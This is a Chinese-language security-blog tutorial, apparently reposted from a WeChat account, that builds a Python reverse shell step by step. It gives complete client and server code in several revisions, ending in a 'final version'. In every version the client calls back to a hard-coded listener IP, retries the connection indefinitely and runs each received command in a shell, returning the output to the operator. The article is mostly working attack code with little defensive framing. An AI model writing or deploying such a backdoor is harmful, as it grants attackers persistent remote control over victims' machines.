python反向shell

  • A+
所属分类:安全文章

文章源自-投稿

作者-白中白

扫描下方二维码进入社区

python反向shell

参考前面的正向shell后写出来的,此处还是要感谢MiaGz大师傅,先写出来一个初始版本,然后再进行改进

python反向shell

0x00:基础客户端部分

客户端,用于在目标机器上运行,它会自动去找服务端

python反向shell

import os

import socket

import time

 

#先将要链接的目标地址和端口设置好

Host = '192.168.2.81';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

#初始化套接字,这里用的参数都是默认的

s_socket = socket.socket()

#设置死循环,让他一直请求

while True:

    #正常执行部分,如果连接失败就挂起来5秒,再次执行

    try:

        #使用connect方法连接目标地址和端口

        s_socket.connect(addr)

        #设置死循环

        while True:

            # 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

            data = s_socket.recv(1000).decode();

            # 判断解码后的数据是否等于条件,如果是说明退出了

            if data == 'quit' or data == 'exit':

                # 调用close方法关闭链接

s_socket.close()

                # 结束循环

                break;

            # 调用popen方法,执行传过来的命令

            # popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。

            # mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着

            # 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。

            # 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,

            # 它是全缓冲。如果没有改参数,使用系统的默认值。

            value = os.popen(data);

            # 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多

            fh = os.system(data);

            # 判断是否等于0,成立表示执行成功

            if fh == 0:

                # 使用read方法读取value的值,然后赋值给value

                value = value.read();

                # 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真

                if not value:

                    # 给value一个字符串,表示执行成功了

                    value = 'Execution succeed';

            # 如果不等于0,就打印下面的话

            else:

                value = 'sh: %s: command not found' % (data);

            # 将value编码后发送给s_socket套接子绑定的对象

            s_socket.send(value.encode());

    except:

        # try部分出现异常就停止无秒,在执行

        s_socket.close();

        time.sleep(5);

0x01:基础服务端部分

服务端,攻击者监听的地址

python反向shell

import os,socket

 

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(2);

#用来控制循环

stop = True;

while stop:

    #被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

    #第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

    #第二个元素也是一个元组,包含P和端口,简单来说他会返回一个新的套接字

    c_socket,addr = s_socket.accept();

    while True:

        try:

            #输入要执行的命令

            commd = input('shell > ');

            #将输入的指令进行编码,然后发送给连接的套接字

            c_socket.send(commd.encode());

            # 退出连接

            if commd == 'quit' or commd == 'exit':

                # 关闭套接字连接

                c_socket.close()

                # 设置大循环的值为False

                stop = False;

                # 结束循环

                break;

            #使用recv接收数据量,最大值为10000

            data = c_socket.recv(10000);

            #打印解码后的数据

            print(data.decode());

        #出现异常就执行

        except:

            #先关闭套接字,然后结束循环

            c_socket.close();

            break;

    s_socket.close();

0x03:改良方法

改良版:经过测试后发现几个小问题

1、就是我们的服务端再退出后,在其开启,客户端会出现连接不了的情况,经过调试后,发现是因为初始化套接字在经过连接后值会发生改变,而断开在重连他会带有一些原本的标识,而新的连接已经发生了改变,所以无法找到,于是陷入死循环,一直无法连接,于是就把初始化套接字放在大循环里,连接成功部分是在小循环进行的,如果断开后,就重新初始化套接字,再次连接目标,这样来刷新断开后的套接字完成,只要客户端在运行,就可以连接到服务端

 

2、如果客户端被强制关闭将导致服务端报错退出,而不是继续等待新的连接,调试后发现是因为我们在服务端在遇到报错后会退出内循环,然后关闭掉套接字(s_socket)连接,导致我们外循坏再次开始等待TCP连接时,发现连接已经被关闭从而报错,所以将关掉套接字(s_socket)连接位置换到识别到quit或者exit部分,如果遇到他们就关闭连接,因为是主动要求退出

python反向shell

0x04:改进版客户端

客户端,把测试到的小问题修了一下

python反向shell

import os

import socket

import time

 

#先将要链接的目标地址和端口设置好

Host = '192.168.2.81';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

 

#设置死循环,让他一直请求

while True:

    # 正常执行部分,出现错误或异常就去执行except部分

    try:

        # 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上

        s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # 使用connect方法连接目标地址和端口

        s_socket.connect(addr)

        #设置死循环

        while True:

            # 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

            data = s_socket.recv(1000).decode();

            # 判断解码后的数据是否等于条件,如果是说明退出了

            if data == 'quit' or data == 'exit':

                # 调用close方法关闭链接

                s_socket.close()

                # 结束循环

                break;

            # 调用popen方法,执行传过来的命令

            # popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。

            # mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着

            # 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。

            # 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,

            # 它是全缓冲。如果没有改参数,使用系统的默认值。

            value = os.popen(data);

            # 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多

            fh = os.system(data);

            # 判断是否等于0,成立表示执行成功

            if fh == 0:

                # 使用read方法读取value的值,然后赋值给value

                value = value.read();

                # 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真

                if not value:

                    # 给value一个字符串,表示执行成功了

                    value = 'Execution succeed';

            # 如果不等于0,就打印下面的话

            else:

                value = 'sh: %s: command not found' % (data);

            # 将value编码后发送给s_socket套接子绑定的对象

            s_socket.send(value.encode());

    except:

        # try部分出现异常就停止无秒,在执行

        time.sleep(5);

0x05:改进版服务端

服务端,修了点小问题,加了点打印使其看起来更明显一些

python反向shell

import os,socket,time

 

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(2);

#用来控制循环

stop = True;

while stop:

    #被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

    #第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

    #第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量

    c_socket,(ip,port) = s_socket.accept();

    print('成功连接到目标%s' % ip)

    while True:

        try:

            #输入要执行的命令,并显示使用的IP地址,这样看着清楚点

            commd = input('shell %s > '%ip);

            #将输入的指令进行编码,然后发送给连接的套接字

            c_socket.send(commd.encode());

            # 退出连接

            if commd == 'quit' or commd == 'exit':

                # 关闭套接字连接

                c_socket.close();

                s_socket.close();

                # 设置大循环的值为False

                stop = False;

                # 结束循环

                break;

            #使用recv接收数据量,最大值为10000

            data = c_socket.recv(10000);

            #打印解码后的数据

            print(data.decode());

        #出现异常就执行

        except:

            #先关闭套接字,然后结束循环

            c_socket.close();

            #打印出来与那个客户端的连接断开了

            print('与客户端(%s)的连接断开'%ip);

            print('等待重连中~~~~')

            break;

改进版服务端,之前的发现如果输入回车,他会卡在哪里无法继续,调试发现这是发送不出去数据导致

python反向shell

import os,socket,time

 

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(1);

#用来控制循环

stop = True;

while stop:

    #被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

    #第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

    #第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量

    c_socket,(ip,port) = s_socket.accept();

    print('成功连接到目标%s' % ip)

    while True:

        try:

            #输入要执行的命令,并显示使用的IP地址,这样看着清楚点

            commd = input('shell %s > '%ip);

            #将输入的指令进行编码,然后发送给连接的套接字

            c_socket.send(commd.encode());

            # 退出连接

            if commd == 'quit' or commd == 'exit':

                # 关闭套接字连接

                c_socket.close();

                s_socket.close();

                # 设置大循环的值为False

                stop = False;

                # 结束循环

                break;

            if commd == '':

                continue;

            #使用recv接收数据量,最大值为10000

            data = c_socket.recv(10000);

            #打印解码后的数据

            print(data.decode());

        #出现异常就执行

        except:

            #先关闭套接字,然后结束循环

            c_socket.close();

            #打印出来与那个客户端的连接断开了

            print('与客户端(%s)的连接断开'%ip);

            print('等待重连中~~~~')

            break;

客户端,将os替换成了subprocess,并且内置方法communicate更为好用一些,该方法会返回出现的正常情况和错误情况。i比如ls执行成功,正确情况会返回相应的信息,而我们输入sssss这种,会返回终端所提示的错误信息,并且加入了如果执行的是成功的命令但是没有输出信息的话,会给他一条信息,比如执行成功,这样来提示

python反向shell

import socket

import time

import subprocess

 

#先将要链接的目标地址和端口设置好

Host = '192.168.2.72';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

 

#设置死循环,让他一直请求

while True:

    # 正常执行部分,出现错误或异常就去执行except部分

    try:

        # 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上

        s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # 使用connect方法连接目标地址和端口

        s_socket.connect(addr)

        #设置死循环

        while True:

            # 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

            data = s_socket.recv(1000).decode();

            # 判断解码后的数据是否等于条件,如果是说明退出了

            if data == 'quit' or data == 'exit':

                # 调用close方法关闭链接

                s_socket.close()

                # 结束循环

                break;

            #subprocess:可以在当前程序中执行其他程序或命令,实例化一个Popen类,data是要执行的命令,后面的则是参数部分,shell=True表示明确要求使用shell来运行程序,与另一个参数一同指定程序运行在什么shell中但此处没有设置,所以会使用默认/bin/sh来执行指定的程序,后面的三个参数是因为我们要用communicate方法,所以需要设置成这种格式,否则可以不要

            comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);

            #wait函数用于回收进程,不然父进程比子进程先停止的话子进程就会没人回收,变成僵尸进程一直占用资源,会返回一个comm.returncode属性,returncode会返回子进程的状态,如果为空则表示没结束,=0则表示正常推出,大于0表示异常退出,小于0表示被信号杀掉了,取得返回值,来判断是出现什么情况

            a = comm.wait();

            #communicate函数会和子进程交流,其格式communicate(input=None),会将参数input(字符串)中的数据发送给子进程的stdin,同时从子进程的stdout和stderr读取数据,直到EOF,返回值是一个元组,有两个元素,分别表示标准输出,和错误输出中读取的数据

            #将读取到的数据给不同的变量

            STDOUT,STDERR=comm.communicate();

            #如果=0则表示正常退出

            if a == 0:

                #如果是touch等命令则会导致没有值,所以给他个提示

                if STDOUT == b'':

                    STDOUT='Execute successfully';

                    #因为这里被赋值了一个字符串,所以需要编码发送

                    s_socket.send(STDOUT.encode());

                #将正常读取的信息通过套接子发送给服务端,因为读取到的就是字节而不是字符串,所以不需要进行编码,想要读取则需要解码

                else:

                    s_socket.send(STDOUT);

            #如果大于0则表示异常推出

            elif a > 0:

                #将错误信息通过套接子发送给服务端

                s_socket.send(STDERR);

    except:

        # try部分出现异常就停止5秒,在执行

        time.sleep(5);

而上面的看起来非常繁琐而不简便,这里忘了应该先模块化的,在看了一个外国大佬的视频后,参考将自己的也分为一个个函数,这样条理明晰一些,这样需要时候直接调用即可

python反向shell

0x06:终极版

服务端(控制端)

python反向shell

import socket

 

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 6666;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

 

#负责连接通讯的

def server(s_socket):

    #被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

    #第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

    #第二个元素也是一个元组,包含P和端口

    c_socket,addr = s_socket.accept();

    while True:

        try:

            #输入要执行的命令

            commd = input('shell > ');

            if commd == '':

                continue;

            #将输入的指令进行编码,然后发送给连接的套接字

            c_socket.send(commd.encode());

            # 退出连接

            if commd == 'quit' or commd == 'exit':

                # 关闭套接字连接

                c_socket.close()

                break;

                # 结束循环,然后回结束这个函数,返回一个None,空等于假,所以会结束

            #使用recv接收数据量,最大值为10000

            data = c_socket.recv(10000);

            #打印解码后的数据

            print(data.decode());

        #出现异常就执行

        except:

            #先关闭套接字,然后返回一个真,让外部继续循环,因为不是主动退出,所以重新进行连接

            c_socket.close();

            print('连接断开:正在等待新的连接~~~~~');

            return True;

 

def main():

    #实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

    s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

    #将地址和端口使用bind绑定到s_socket,参数格式要求为一个元组

    s_socket.bind(HostPort);

    #设置最大连接数量

    s_socket.listen(2);

    #用来控制循环

    stop = True;

    while stop:

        stop = server(s_socket);

 

if __name__ == '__main__':

    main();

客户端(被控端),记得修改端口和IP

python反向shell

import subprocess,socket

 

#设置基本设置部分

host = '192.168.199.127';

port = 6666;

ipport = (host,port);

 

#负责连接

def server(s_socket):

    #连接成功则开始下面的循环,不成功就异常

    while True:

        try:

            #使用recv方法接收发来的数据,接收的数据量为10000,如果不设置会接受不到数据

            data = s_socket.recv(10000).decode();

            if data == 'quit' or data == 'exit':

                return 0;

            #实例化一个Popen对象,这里用subprocess替换掉了os,data是要执行的字符串,shell=True表示要求使用shell运行程序。这里因为没有使用另一个参数,所以他会使用/bin/sh来执行data。也就是python先启一个shell,然后执行data

            comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);

            #wait方法,等待子进程 comm 终止,返回 comm.returncode 属性;返回值为一个数字,0表示执行成功,大于0表示异常推出,小于0表示被信号干掉

            number = comm.wait();

            #communicate方法会返回一个二元组,分别是正常的执行结果和异常的错误信息

            STDOUT,STDERR = comm.communicate();

            #表示正常执行

            if number == 0:

                #判断STDOUT是否为空,如果为空就给他一个字符串表示执行成功了

                if STDOUT == b'':

                    STDOUT = b'Execute successfully';

                    s_socket.send(STDOUT);

                else:

                    s_socket.send(STDOUT);

            #如果大于0就是异常退出

            elif number > 0:

                #就将错误信息发过去

                s_socket.send(STDERR);

        except:

            pass;

 

def main():

    #设置死循环,用来一直寻找目标

    while True:

        try:

            #初始化套接子,实例化对象,两个参数都是默认的,因为每次连接过后套接子都会获取连接过来的参数,所以如果断开我们就需要重新初始化套接子,好接受一个新的目标

            s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

            s_socket.connect(ipport);

            #调用了自定义函数server,将s_socket作为实惨传输进去

            server(s_socket);

        except:

            pass;

 

if __name__ == "__main__":

    main();

通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

python反向shell

记得扫码

关注我们

本文始发于微信公众号(字节脉搏实验室):python反向shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: